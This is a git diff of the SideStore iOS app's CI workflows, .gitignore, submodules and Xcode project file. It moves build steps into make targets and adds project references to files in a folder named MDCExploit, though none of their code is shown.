cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
zip -r SideStore.ipa Payload
- name: Upload Artifact - name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0 uses: actions/upload-artifact@v3.1.0
with: with:
name: SideStore.ipa name: SideStore.ipa
path: SideStore.ipa path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/

View File

@@ -2,7 +2,7 @@ name: Stable SideStore build
on: on:
push: push:
tags: tags:
- '[0-9]+.[0-9]+.[0-9]+*' - '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
jobs: jobs:
build: build:
@@ -21,60 +21,11 @@ jobs:
with: with:
submodules: recursive submodules: recursive
# - name: Cache rust cargo
# id: cache-rust-cargo
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-cargo
# with:
# path: ~/.cargo
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
# - name: Cache rust minimuxer
# id: cache-rust-minimuxer
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-minimuxer
# with:
# path: ./Dependencies/minimuxer/target
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
# - name: Cache rust em_proxy
# id: cache-rust-em_proxy
# uses: actions/cache@v3
# env:
# cache-name: cache-rust-em_proxy
# with:
# path: ./Dependencies/em_proxy/target
# key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/package-lock.json') }}
# restore-keys: |
# ${{ runner.os }}-build-${{ env.cache-name }}-
# ${{ runner.os }}-build-
# ${{ runner.os }}-
- name: Install dependencies - name: Install dependencies
run: brew install ldid run: brew install ldid
- name: Install rustup - name: Change version to tag
uses: actions-rs/toolchain@v1 run: sed -e '/MARKETING_VERSION = .*/s/= .*/= ${{ github.ref_name }}/' -i '' Build.xcconfig
with:
toolchain: stable
override: true
target: aarch64-apple-ios
# - name: Create emotional damage
# run: cd Dependencies/em_proxy && cargo build --release --target aarch64-apple-ios
# - name: Build minimuxer
# run: cd Dependencies/minimuxer && cargo build --release --target aarch64-apple-ios
- name: Setup Xcode - name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1 uses: maxim-lobanov/setup-xcode@v1.4.1
@@ -82,36 +33,26 @@ jobs:
xcode-version: ${{ matrix.version }} xcode-version: ${{ matrix.version }}
- name: Build SideStore - name: Build SideStore
run: | run: make build | xcpretty && exit ${PIPESTATUS[0]}
xcodebuild -project AltStore.xcodeproj \
-scheme AltStore \
-sdk iphoneos \
archive -archivePath ./archive \
CODE_SIGNING_REQUIRED=NO \
AD_HOC_CODE_SIGNING_ALLOWED=YES \
CODE_SIGNING_ALLOWED=NO \
DEVELOPMENT_TEAM=XYZ0123456 \
ORG_IDENTIFIER=com.SideStore \
| xcpretty && exit ${PIPESTATUS[0]}
- name: Fakesign app - name: Fakesign app
run: | run: make fakesign
rm -rf archive.xcarchive/Products/Applications/SideStore.app/Frameworks/AltStoreCore.framework/Frameworks/
ldid -SAltStore/Resources/tempEnt.plist archive.xcarchive/Products/Applications/SideStore.app/SideStore
- name: Convert to IPA - name: Convert to IPA
run: | run: make ipa
mkdir Payload
mkdir Payload/SideStore.app
cp -R archive.xcarchive/Products/Applications/SideStore.app/ Payload/SideStore.app/
zip -r SideStore.ipa Payload
- name: Upload Artifact - name: Upload SideStore.ipa Artifact
uses: actions/upload-artifact@v3.1.0 uses: actions/upload-artifact@v3.1.0
with: with:
name: SideStore.ipa name: SideStore.ipa
path: SideStore.ipa path: SideStore.ipa
- name: Upload *.dSYM Artifact
uses: actions/upload-artifact@v3.1.0
with:
name: SideStore-dSYM
path: ./*.dSYM/
- name: Get version - name: Get version
id: version id: version
run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT
@@ -129,10 +70,11 @@ jobs:
with: with:
token: ${{ secrets.GITHUB_TOKEN }} token: ${{ secrets.GITHUB_TOKEN }}
name: ${{ steps.version.outputs.version }} name: ${{ steps.version.outputs.version }}
tag_name: ${{ github.ref }} tag_name: ${{ github.ref_name }}
draft: true draft: true
files: SideStore.ipa files: SideStore.ipa
body: | body: |
<!-- NOTE: to reset SideSource cache, go to `https://apps.sidestore.io/reset-cache/nightly/<sidesource key>`. This is not included in the GitHub Action since it makes draft releases so they can be edited and have a changelog. -->
## Changelog ## Changelog
- TODO - TODO

12
.gitignore vendored
View File

@@ -33,4 +33,14 @@ xcuserdata
/.vscode /.vscode
## AppCode specific ## AppCode specific
.idea/ .idea/
Payload/
SideStore.ipa
*.dSYM
Dependencies/.*-prebuilt-fetch-*
Dependencies/minimuxer/*
Dependencies/em_proxy/*
!Dependencies/**/.gitkeep
.nightly-build-num

6
.gitmodules vendored
View File

@@ -13,15 +13,9 @@
[submodule "Dependencies/MarkdownAttributedString"] [submodule "Dependencies/MarkdownAttributedString"]
path = Dependencies/MarkdownAttributedString path = Dependencies/MarkdownAttributedString
url = https://github.com/chockenberry/MarkdownAttributedString.git url = https://github.com/chockenberry/MarkdownAttributedString.git
[submodule "Dependencies/em_proxy"]
path = Dependencies/em_proxy
url = https://github.com/jkcoxson/em_proxy
[submodule "Dependencies/libimobiledevice-glue"] [submodule "Dependencies/libimobiledevice-glue"]
path = Dependencies/libimobiledevice-glue path = Dependencies/libimobiledevice-glue
url = https://github.com/libimobiledevice/libimobiledevice-glue url = https://github.com/libimobiledevice/libimobiledevice-glue
[submodule "Dependencies/minimuxer"]
path = Dependencies/minimuxer
url = https://github.com/jkcoxson/minimuxer
[submodule "Dependencies/libfragmentzip"] [submodule "Dependencies/libfragmentzip"]
path = Dependencies/libfragmentzip path = Dependencies/libfragmentzip
url = https://github.com/SideStore/libfragmentzip.git url = https://github.com/SideStore/libfragmentzip.git

View File

@@ -1,3 +1,3 @@
#include "Build.xcconfig" #include "Build.xcconfig"
PRODUCT_BUNDLE_IDENTIFIER = $(ORG_PREFIX).$(PRODUCT_NAME) PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER)

View File

@@ -21,6 +21,11 @@
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */; }; 19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */; };
4879A95F2861046500FC1BBD /* AltSign in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A95E2861046500FC1BBD /* AltSign */; }; 4879A95F2861046500FC1BBD /* AltSign in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A95E2861046500FC1BBD /* AltSign */; };
4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A9612861049C00FC1BBD /* OpenSSL */; }; 4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A9612861049C00FC1BBD /* OpenSSL */; };
7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B72991727200C18375 /* grant_fda.m */; };
7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B82991727200C18375 /* helping_tools.m */; };
7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4B92991727300C18375 /* vm_unalign_csr.c */; };
7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7DBDF4BF299172A000C18375 /* CowExploits.swift */; };
99C4EF4D2979132100CB538D /* SemanticVersion in Frameworks */ = {isa = PBXBuildFile; productRef = 99C4EF4C2979132100CB538D /* SemanticVersion */; };
B3146ED2284F581E00BBC3FD /* Roxas.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; }; B3146ED2284F581E00BBC3FD /* Roxas.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; };
B3146ED3284F581E00BBC3FD /* Roxas.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; }; B3146ED3284F581E00BBC3FD /* Roxas.framework in Embed Frameworks */ = {isa = PBXBuildFile; fileRef = B3146ECD284F580500BBC3FD /* Roxas.framework */; settings = {ATTRIBUTES = (CodeSignOnCopy, RemoveHeadersOnCopy, ); }; };
B33FFBA8295F8E98002259E6 /* libfragmentzip.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B343F894295F7F9B002B1159 /* libfragmentzip.a */; }; B33FFBA8295F8E98002259E6 /* libfragmentzip.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B343F894295F7F9B002B1159 /* libfragmentzip.a */; };
@@ -500,7 +505,6 @@
/* End PBXCopyFilesBuildPhase section */ /* End PBXCopyFilesBuildPhase section */
/* Begin PBXFileReference section */ /* Begin PBXFileReference section */
19104DA92909BC7100C49C7B /* em_proxy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = em_proxy.h; sourceTree = "<group>"; };
19104DB22909C06C00C49C7B /* libEmotionalDamage.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libEmotionalDamage.a; sourceTree = BUILT_PRODUCTS_DIR; }; 19104DB22909C06C00C49C7B /* libEmotionalDamage.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libEmotionalDamage.a; sourceTree = BUILT_PRODUCTS_DIR; };
19104DB42909C06D00C49C7B /* EmotionalDamage.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = EmotionalDamage.swift; sourceTree = "<group>"; }; 19104DB42909C06D00C49C7B /* EmotionalDamage.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = EmotionalDamage.swift; sourceTree = "<group>"; };
191E5FAB290A5D92001A3B7C /* libminimuxer.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libminimuxer.a; sourceTree = BUILT_PRODUCTS_DIR; }; 191E5FAB290A5D92001A3B7C /* libminimuxer.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libminimuxer.a; sourceTree = BUILT_PRODUCTS_DIR; };
@@ -509,9 +513,15 @@
191E5FCF290A651D001A3B7C /* jplist.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; name = jplist.c; path = Dependencies/libplist/src/jplist.c; sourceTree = SOURCE_ROOT; }; 191E5FCF290A651D001A3B7C /* jplist.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; name = jplist.c; path = Dependencies/libplist/src/jplist.c; sourceTree = SOURCE_ROOT; };
191E5FD0290A651D001A3B7C /* jsmn.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; name = jsmn.c; path = Dependencies/libplist/src/jsmn.c; sourceTree = SOURCE_ROOT; }; 191E5FD0290A651D001A3B7C /* jsmn.c */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.c; name = jsmn.c; path = Dependencies/libplist/src/jsmn.c; sourceTree = SOURCE_ROOT; };
191E5FD1290A651D001A3B7C /* jsmn.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = jsmn.h; path = Dependencies/libplist/src/jsmn.h; sourceTree = SOURCE_ROOT; }; 191E5FD1290A651D001A3B7C /* jsmn.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = jsmn.h; path = Dependencies/libplist/src/jsmn.h; sourceTree = SOURCE_ROOT; };
191E5FD7290A6EFB001A3B7C /* minimuxer.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; name = minimuxer.h; path = ../Dependencies/minimuxer/minimuxer.h; sourceTree = "<group>"; };
1920B04E2924AC8300744F60 /* Settings.bundle */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.plug-in"; path = Settings.bundle; sourceTree = "<group>"; }; 1920B04E2924AC8300744F60 /* Settings.bundle */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.plug-in"; path = Settings.bundle; sourceTree = "<group>"; };
19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SelectTeamViewController.swift; sourceTree = "<group>"; }; 19B9B7442845E6DF0076EF69 /* SelectTeamViewController.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = SelectTeamViewController.swift; sourceTree = "<group>"; };
7DBDF4B62991727000C18375 /* helping_tools.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helping_tools.h; sourceTree = "<group>"; };
7DBDF4B72991727200C18375 /* grant_fda.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_fda.m; sourceTree = "<group>"; };
7DBDF4B82991727200C18375 /* helping_tools.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helping_tools.m; sourceTree = "<group>"; };
7DBDF4B92991727300C18375 /* vm_unalign_csr.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unalign_csr.c; sourceTree = "<group>"; };
7DBDF4BA2991727400C18375 /* grant_fda.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_fda.h; sourceTree = "<group>"; };
7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unalign_csr.h; sourceTree = "<group>"; };
7DBDF4BF299172A000C18375 /* CowExploits.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = CowExploits.swift; sourceTree = "<group>"; };
B3146EC6284F580500BBC3FD /* Roxas.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; name = Roxas.xcodeproj; path = Dependencies/Roxas/Roxas.xcodeproj; sourceTree = "<group>"; }; B3146EC6284F580500BBC3FD /* Roxas.xcodeproj */ = {isa = PBXFileReference; lastKnownFileType = "wrapper.pb-project"; name = Roxas.xcodeproj; path = Dependencies/Roxas/Roxas.xcodeproj; sourceTree = "<group>"; };
B33FFBA9295F8F78002259E6 /* preboard.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = preboard.c; path = src/preboard.c; sourceTree = "<group>"; }; B33FFBA9295F8F78002259E6 /* preboard.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = preboard.c; path = src/preboard.c; sourceTree = "<group>"; };
B33FFBAB295F8F98002259E6 /* companion_proxy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = companion_proxy.c; path = src/companion_proxy.c; sourceTree = "<group>"; }; B33FFBAB295F8F98002259E6 /* companion_proxy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = companion_proxy.c; path = src/companion_proxy.c; sourceTree = "<group>"; };
@@ -896,6 +906,7 @@
buildActionMask = 2147483647; buildActionMask = 2147483647;
files = ( files = (
B3C395F1284F2DE700DA9E2F /* KeychainAccess in Frameworks */, B3C395F1284F2DE700DA9E2F /* KeychainAccess in Frameworks */,
99C4EF4D2979132100CB538D /* SemanticVersion in Frameworks */,
4879A95F2861046500FC1BBD /* AltSign in Frameworks */, 4879A95F2861046500FC1BBD /* AltSign in Frameworks */,
B39575F5284F29E20080B4FF /* Roxas.framework in Frameworks */, B39575F5284F29E20080B4FF /* Roxas.framework in Frameworks */,
); );
@@ -937,7 +948,6 @@
isa = PBXGroup; isa = PBXGroup;
children = ( children = (
B343F84D295F6323002B1159 /* em_proxy.xcodeproj */, B343F84D295F6323002B1159 /* em_proxy.xcodeproj */,
19104DA92909BC7100C49C7B /* em_proxy.h */,
19104DB42909C06D00C49C7B /* EmotionalDamage.swift */, 19104DB42909C06D00C49C7B /* EmotionalDamage.swift */,
); );
path = EmotionalDamage; path = EmotionalDamage;
@@ -947,7 +957,6 @@
isa = PBXGroup; isa = PBXGroup;
children = ( children = (
B343F847295F6321002B1159 /* minimuxer.xcodeproj */, B343F847295F6321002B1159 /* minimuxer.xcodeproj */,
191E5FD7290A6EFB001A3B7C /* minimuxer.h */,
191E5FAD290A5D92001A3B7C /* minimuxer.swift */, 191E5FAD290A5D92001A3B7C /* minimuxer.swift */,
); );
path = minimuxer; path = minimuxer;
@@ -970,6 +979,20 @@
path = "libimobiledevice-glue/src"; path = "libimobiledevice-glue/src";
sourceTree = "<group>"; sourceTree = "<group>";
}; };
7DBDF49C2991720500C18375 /* MDCExploit */ = {
isa = PBXGroup;
children = (
7DBDF4BA2991727400C18375 /* grant_fda.h */,
7DBDF4B72991727200C18375 /* grant_fda.m */,
7DBDF4B62991727000C18375 /* helping_tools.h */,
7DBDF4B82991727200C18375 /* helping_tools.m */,
7DBDF4B92991727300C18375 /* vm_unalign_csr.c */,
7DBDF4BB2991727500C18375 /* vm_unalign_csr.h */,
7DBDF4BF299172A000C18375 /* CowExploits.swift */,
);
path = MDCExploit;
sourceTree = "<group>";
};
B3146EC7284F580500BBC3FD /* Products */ = { B3146EC7284F580500BBC3FD /* Products */ = {
isa = PBXGroup; isa = PBXGroup;
children = ( children = (
@@ -1388,6 +1411,7 @@
BF6C8FA8242935CA00125131 /* Dependencies */ = { BF6C8FA8242935CA00125131 /* Dependencies */ = {
isa = PBXGroup; isa = PBXGroup;
children = ( children = (
7DBDF49C2991720500C18375 /* MDCExploit */,
BF6C8FA9242935DB00125131 /* MarkdownAttributedString */, BF6C8FA9242935DB00125131 /* MarkdownAttributedString */,
); );
name = Dependencies; name = Dependencies;
@@ -1937,11 +1961,13 @@
buildRules = ( buildRules = (
); );
dependencies = ( dependencies = (
99C4EF51297994E200CB538D /* PBXTargetDependency */,
); );
name = AltStoreCore; name = AltStoreCore;
packageProductDependencies = ( packageProductDependencies = (
B3C395F0284F2DE700DA9E2F /* KeychainAccess */, B3C395F0284F2DE700DA9E2F /* KeychainAccess */,
4879A95E2861046500FC1BBD /* AltSign */, 4879A95E2861046500FC1BBD /* AltSign */,
99C4EF4C2979132100CB538D /* SemanticVersion */,
); );
productName = AltStoreCore; productName = AltStoreCore;
productReference = BF66EE7E2501AE50007EE018 /* AltStoreCore.framework */; productReference = BF66EE7E2501AE50007EE018 /* AltStoreCore.framework */;
@@ -2060,6 +2086,7 @@
B3C395FD284F3C0900DA9E2F /* XCRemoteSwiftPackageReference "STPrivilegedTask" */, B3C395FD284F3C0900DA9E2F /* XCRemoteSwiftPackageReference "STPrivilegedTask" */,
4879A95D2861046500FC1BBD /* XCRemoteSwiftPackageReference "AltSign" */, 4879A95D2861046500FC1BBD /* XCRemoteSwiftPackageReference "AltSign" */,
4879A9602861049C00FC1BBD /* XCRemoteSwiftPackageReference "OpenSSL" */, 4879A9602861049C00FC1BBD /* XCRemoteSwiftPackageReference "OpenSSL" */,
99C4EF472978D52400CB538D /* XCRemoteSwiftPackageReference "SemanticVersion" */,
); );
productRefGroup = BFD2476B2284B9A500981D42 /* Products */; productRefGroup = BFD2476B2284B9A500981D42 /* Products */;
projectDirPath = ""; projectDirPath = "";
@@ -2437,7 +2464,9 @@
BFC1F38D22AEE3A4003AC21A /* DownloadAppOperation.swift in Sources */, BFC1F38D22AEE3A4003AC21A /* DownloadAppOperation.swift in Sources */,
BFE6073A231ADF82002B0E8E /* SettingsViewController.swift in Sources */, BFE6073A231ADF82002B0E8E /* SettingsViewController.swift in Sources */,
D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */, D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */,
7DBDF4BD2991727500C18375 /* helping_tools.m in Sources */,
BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */, BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */,
7DBDF4BE2991727500C18375 /* vm_unalign_csr.c in Sources */,
D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */, D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */,
BFE338DF22F0EADB002E24B9 /* FetchSourceOperation.swift in Sources */, BFE338DF22F0EADB002E24B9 /* FetchSourceOperation.swift in Sources */,
D54DED1428CBC44B008B27A0 /* ErrorLogTableViewCell.swift in Sources */, D54DED1428CBC44B008B27A0 /* ErrorLogTableViewCell.swift in Sources */,
@@ -2483,7 +2512,9 @@
BFB39B5C252BC10E00D1BE50 /* Managed.swift in Sources */, BFB39B5C252BC10E00D1BE50 /* Managed.swift in Sources */,
BF770E5822BC3D0F002A40FE /* RefreshGroup.swift in Sources */, BF770E5822BC3D0F002A40FE /* RefreshGroup.swift in Sources */,
19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */, 19B9B7452845E6DF0076EF69 /* SelectTeamViewController.swift in Sources */,
7DBDF4BC2991727500C18375 /* grant_fda.m in Sources */,
BF18B0F122E25DF9005C4CF5 /* ToastView.swift in Sources */, BF18B0F122E25DF9005C4CF5 /* ToastView.swift in Sources */,
7DBDF4C0299172A000C18375 /* CowExploits.swift in Sources */,
BF3D649F22E7B24C00E9056B /* CollapsingTextView.swift in Sources */, BF3D649F22E7B24C00E9056B /* CollapsingTextView.swift in Sources */,
BF02419622F2199300129732 /* RefreshAttemptsViewController.swift in Sources */, BF02419622F2199300129732 /* RefreshAttemptsViewController.swift in Sources */,
B376FE3E29258C8900E18883 /* OSLog+SideStore.swift in Sources */, B376FE3E29258C8900E18883 /* OSLog+SideStore.swift in Sources */,
@@ -2543,6 +2574,10 @@
isa = PBXTargetDependency; isa = PBXTargetDependency;
productRef = 191E5FD9290AFA49001A3B7C /* OpenSSL */; productRef = 191E5FD9290AFA49001A3B7C /* OpenSSL */;
}; };
99C4EF51297994E200CB538D /* PBXTargetDependency */ = {
isa = PBXTargetDependency;
productRef = 99C4EF50297994E200CB538D /* SemanticVersion */;
};
B343F86F295F76FD002B1159 /* PBXTargetDependency */ = { B343F86F295F76FD002B1159 /* PBXTargetDependency */ = {
isa = PBXTargetDependency; isa = PBXTargetDependency;
name = "minimuxer-staticlib"; name = "minimuxer-staticlib";
@@ -2610,15 +2645,14 @@
IPHONEOS_DEPLOYMENT_TARGET = 14.0; IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LIBRARY_SEARCH_PATHS = ( LIBRARY_SEARCH_PATHS = (
"$(inherited)", "$(inherited)",
"$(PROJECT_DIR)/Dependencies/em_proxy/target/aarch64-apple-ios/release", "$(PROJECT_DIR)/Dependencies/em_proxy",
"$(PROJECT_DIR)/Dependencies/em_proxy/target/aarch64-apple-ios/debug",
); );
MACOSX_DEPLOYMENT_TARGET = "$(RECOMMENDED_MACOSX_DEPLOYMENT_TARGET)"; MACOSX_DEPLOYMENT_TARGET = "$(RECOMMENDED_MACOSX_DEPLOYMENT_TARGET)";
OTHER_LDFLAGS = "-ObjC"; OTHER_LDFLAGS = "-ObjC";
PRODUCT_NAME = "$(TARGET_NAME)"; PRODUCT_NAME = "$(TARGET_NAME)";
SKIP_INSTALL = YES; SKIP_INSTALL = YES;
SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
SWIFT_OBJC_BRIDGING_HEADER = EmotionalDamage/em_proxy.h; SWIFT_OBJC_BRIDGING_HEADER = Dependencies/em_proxy/em_proxy.h;
SWIFT_VERSION = 5.0; SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2"; TARGETED_DEVICE_FAMILY = "1,2";
TVOS_DEPLOYMENT_TARGET = 14.0; TVOS_DEPLOYMENT_TARGET = 14.0;
@@ -2637,14 +2671,13 @@
IPHONEOS_DEPLOYMENT_TARGET = 14.0; IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LIBRARY_SEARCH_PATHS = ( LIBRARY_SEARCH_PATHS = (
"$(inherited)", "$(inherited)",
"$(PROJECT_DIR)/Dependencies/em_proxy/target/aarch64-apple-ios/release", "$(PROJECT_DIR)/Dependencies/em_proxy",
"$(PROJECT_DIR)/Dependencies/em_proxy/target/aarch64-apple-ios/debug",
); );
MACOSX_DEPLOYMENT_TARGET = "$(RECOMMENDED_MACOSX_DEPLOYMENT_TARGET)"; MACOSX_DEPLOYMENT_TARGET = "$(RECOMMENDED_MACOSX_DEPLOYMENT_TARGET)";
OTHER_LDFLAGS = "-ObjC"; OTHER_LDFLAGS = "-ObjC";
PRODUCT_NAME = "$(TARGET_NAME)"; PRODUCT_NAME = "$(TARGET_NAME)";
SKIP_INSTALL = YES; SKIP_INSTALL = YES;
SWIFT_OBJC_BRIDGING_HEADER = EmotionalDamage/em_proxy.h; SWIFT_OBJC_BRIDGING_HEADER = Dependencies/em_proxy/em_proxy.h;
SWIFT_VERSION = 5.0; SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2"; TARGETED_DEVICE_FAMILY = "1,2";
TVOS_DEPLOYMENT_TARGET = 14.0; TVOS_DEPLOYMENT_TARGET = 14.0;
@@ -2664,14 +2697,13 @@
IPHONEOS_DEPLOYMENT_TARGET = 14.0; IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LIBRARY_SEARCH_PATHS = ( LIBRARY_SEARCH_PATHS = (
"$(inherited)", "$(inherited)",
"$(PROJECT_DIR)/Dependencies/minimuxer/target/aarch64-apple-ios/release", "$(PROJECT_DIR)/Dependencies/minimuxer",
"$(PROJECT_DIR)/Dependencies/minimuxer/target/aarch64-apple-ios/debug",
); );
OTHER_LDFLAGS = "-ObjC"; OTHER_LDFLAGS = "-ObjC";
PRODUCT_NAME = "$(TARGET_NAME)"; PRODUCT_NAME = "$(TARGET_NAME)";
SKIP_INSTALL = YES; SKIP_INSTALL = YES;
SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG; SWIFT_ACTIVE_COMPILATION_CONDITIONS = DEBUG;
SWIFT_OBJC_BRIDGING_HEADER = minimuxer/minimuxer.h; SWIFT_OBJC_BRIDGING_HEADER = Dependencies/minimuxer/minimuxer.h;
SWIFT_VERSION = 5.0; SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2"; TARGETED_DEVICE_FAMILY = "1,2";
}; };
@@ -2688,13 +2720,12 @@
IPHONEOS_DEPLOYMENT_TARGET = 14.0; IPHONEOS_DEPLOYMENT_TARGET = 14.0;
LIBRARY_SEARCH_PATHS = ( LIBRARY_SEARCH_PATHS = (
"$(inherited)", "$(inherited)",
"$(PROJECT_DIR)/Dependencies/minimuxer/target/aarch64-apple-ios/release", "$(PROJECT_DIR)/Dependencies/minimuxer",
"$(PROJECT_DIR)/Dependencies/minimuxer/target/aarch64-apple-ios/debug",
); );
OTHER_LDFLAGS = "-ObjC"; OTHER_LDFLAGS = "-ObjC";
PRODUCT_NAME = "$(TARGET_NAME)"; PRODUCT_NAME = "$(TARGET_NAME)";
SKIP_INSTALL = YES; SKIP_INSTALL = YES;
SWIFT_OBJC_BRIDGING_HEADER = minimuxer/minimuxer.h; SWIFT_OBJC_BRIDGING_HEADER = Dependencies/minimuxer/minimuxer.h;
SWIFT_VERSION = 5.0; SWIFT_VERSION = 5.0;
TARGETED_DEVICE_FAMILY = "1,2"; TARGETED_DEVICE_FAMILY = "1,2";
}; };
@@ -2994,7 +3025,7 @@
CODE_SIGN_IDENTITY = "iPhone Developer"; CODE_SIGN_IDENTITY = "iPhone Developer";
CODE_SIGN_STYLE = Automatic; CODE_SIGN_STYLE = Automatic;
DEBUG_INFORMATION_FORMAT = dwarf; DEBUG_INFORMATION_FORMAT = dwarf;
DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)"; DEVELOPMENT_TEAM = "";
FRAMEWORK_SEARCH_PATHS = "$(inherited)"; FRAMEWORK_SEARCH_PATHS = "$(inherited)";
INFOPLIST_FILE = AltWidget/Info.plist; INFOPLIST_FILE = AltWidget/Info.plist;
IPHONEOS_DEPLOYMENT_TARGET = 14.0; IPHONEOS_DEPLOYMENT_TARGET = 14.0;
@@ -3024,7 +3055,7 @@
CODE_SIGN_ENTITLEMENTS = AltWidget/AltWidgetExtension.entitlements; CODE_SIGN_ENTITLEMENTS = AltWidget/AltWidgetExtension.entitlements;
CODE_SIGN_IDENTITY = "iPhone Developer"; CODE_SIGN_IDENTITY = "iPhone Developer";
CODE_SIGN_STYLE = Automatic; CODE_SIGN_STYLE = Automatic;
DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)"; DEVELOPMENT_TEAM = "";
FRAMEWORK_SEARCH_PATHS = "$(inherited)"; FRAMEWORK_SEARCH_PATHS = "$(inherited)";
INFOPLIST_FILE = AltWidget/Info.plist; INFOPLIST_FILE = AltWidget/Info.plist;
